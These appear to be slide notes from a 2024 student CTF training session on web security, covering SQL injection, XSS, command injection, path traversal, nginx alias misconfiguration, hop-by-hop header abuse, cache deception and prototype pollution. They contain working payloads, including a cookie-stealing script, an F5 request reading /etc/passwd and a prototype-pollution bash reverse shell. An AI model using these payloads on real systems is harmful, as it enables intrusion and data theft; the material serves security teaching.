講師:堇姬
IZCC寒訓 2024.1.31
成電二年級/幽夜工作室繪師/台灣好厲駭學員
DC : naup_sumire_hime
只是個喜歡資安的鶴,涉獵Crypto、Web、OSINT,最近有打算學reverse,我是Web狗
喜歡看輕小說、動畫、Vtuber、打音遊、畫畫,就是一個長年混跡ACG的宅女。
成功高中宿疾調查系統
臺北庫克雲網站
...(還有一些不能丟的)
Ubuntu娘
Debian娘
Manjaro娘
Unix娘
Fedora娘
openSUSE娘
NixOS娘
ArchLabs娘
LFS娘
WIN10
WIN11
WIN95
WIN8
WIN7
Windows Me
Windows 2000
Windows XP
Windows XP HOME
Windows Vista
Windows CE
Windows Server 2003
Windows NT4.0
WINDOWS 3.1
Capture The Flag
ex: ckcscCTF{1t_1s_th3_f1a9!}
ckcscCTF http://ctf.ckcsc.net/
picoCTF https://picoctf.org/
hacker101 https://ctf.hacker101.com/
LoTuXCTF https://lotuxctf.com/
CTFtime https://ctftime.org/
SELECT username,password FROM users WHERE username = '{username}' AND password = '{password}'
SELECT username,password FROM users WHERE username = 'Naup' AND password = '123'
帳號:Naup
密碼:123
SELECT username,password FROM users WHERE username = '' OR 1=1 --' AND password = '123'
將惡意程式會藏在網址列裡,放在 GET 參數傳遞
http://www.example.com/upload.asp?id=<script>alert(1);</script>
<img src=# onerror=”alert(123)”>
將 Javascript 儲存在伺服器的資料庫中
將 Javascript 注入留言板,當下一位 User 瀏覽網頁時,網頁會載入留言板的 Javascript
<script>alert(1);</script>
<script>
var flag = document.cookie;
fetch("{url}?cookie="+flag)
</script>
#include <stdlib.h>
int main() {
char input[100];
scanf("%s", input);
system("cat"+input);
return 0;
}
這是一個可以輸入文件,來做查詢的程式碼
如果我輸入 vvv.txt
如果有這份文件,就會cat vvv.txt
vvv.txt;ls
網址為 https://naup.com
若請求
https://naup.com/templates/haha.html/../../app.py
有時使用../會被瀏覽器解析,故要將
../
進行 Url Encode 變成 ..%2F
app.get('/templates/:filename', function(req, res){
var filename = req.params.filename,
path = `templates/${filename}`;
return res.sendFile(path, {root: '/server'});
});
app.get('/templates/:filename', function(req, res){
var filename = req.params.filename,
path = `${filename}`;
return res.sendFile(path, {root: '/server/templates/'});
});
location /static {
alias /home/app/static ;
}
就像是 routing,設定不同的 path 要對應到怎麼樣的設定
location /static {
alias /home/app/static ;
}
location /static/ {
alias /home/app/static ;
}
location /static {
alias /home/app/static/ ;
}
location /static/ {
alias /home/app/static/ ;
}
location /static {
alias /home/app/static/ ;
}
/home/app/static/../settings.py
代理
那時候聽orange演講深有感觸
X-Important-Header被刪掉可能導致意外洩漏資訊
function getUserIP() {
$ip = '';
if (isset($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif (isset($_SERVER['REMOTE_ADDR'])) {
$ip = $_SERVER['REMOTE_ADDR'];
} else {
$ip = 'UNKNOWN';
}
return $ip;
}
GET / HTTP/1.1
Host: naup.tw
Accept: */*
Accept-Encoding: gzip
User-Agent: Mozilla/5.0
Connection: close, X-Forwarded-For
遠端程式碼執行 (RCE) 攻擊是指攻擊者可在組織的電腦或網路上執行惡意程式碼的攻擊
POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.0.0.1
Authorization: Basic YWRtaW46aG9yaXpvbjM=
X-F5-Auth-Token: asdf
Connection: close, X-F5-Auth-Token
Content-Length: 55
{"command": "run", "utilCmdArgs": "-c cat /etc/passwd"}
有些靜態資源會時常被使用者訪問,所以他會放在cache server中,這樣就不用再到遠端server抓取資料了
css可以被存取,因為他不是敏感文件
不應該被存取,因為你的profile中可能有敏感內容
如果被cache到的話,這個頁面就會被cache server存取下來,並且對應到連結
curl -X PUT
'http://naup.tw'
--data-binary '{
"type": "user",
"name": "oops",
"roles": ["_admin"],
"roles": [],
"password": "password"
}'
原型鏈污染
var str = "a"
var str2 = str.repeat(5)
console.log(str2)
去MDN看一下發現他寫 String.prototype.repeat
因此我們知道,我們再用repeat這個方法時不是因為str底下有這個方法
在 JS 中有一個隱藏的屬性,叫做 __proto__
它儲存的值就是 JS 引擎應該往上找的地方
var str = ""
console.log(str.__proto__) // String.prototype
repeat 函式其實是存在於 String.prototype 這個物件上的一個方法
var obj = {}
console.log(obj.a) // undefined
console.log(obj.toString) // ƒ toString() { [native code] }
obj是個空物件
var obj = {}
console.log(obj.toString === Object.prototype.toString) // true
String.prototype.first = function() {
return this[0]
}
console.log("abc".first()) // a
Object.prototype.a = 123
var obj = {}
console.log(obj.a) // 123
Object.prototype.a = 123
var obj = {}
console.log(obj.a) // 123
if (user.isAdmin) {
// do some privileged operations
}
這裡用來驗證你是不是admin,user.isAdmin是用來存取你是不是admin的
.es(*).props(label.__proto__.env.AAAA='require("child_process").
exec("bash -c 'bash -i>& /dev/tcp/10.70.53.113/6666 0>&1'");//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
GET / HTTP/1.1
Host: naup.tw
User-Agent: Mozilla/5.0
HTTP_HOST=naup.tw
HTTP_USER_AGENT=Mozila/5
是一個環境變數,用於指定在進行 HTTP 請求時要使用的proxy server
這是個約定俗成的,會直接抓環境變數的來用
export HTTP_PROXY=http://proxy_server
GET /index.php HTTP/1.1
Host: naup.tw
User-Agent: Mozilla/5.0
PROXY: http://your-server/
HTTP_HOST=naup.tw
HTTP_USER_AGENT=Mozila/5
HTTP_PROXY= http://your-server/
proxy server被當成目標server內部請求來訪問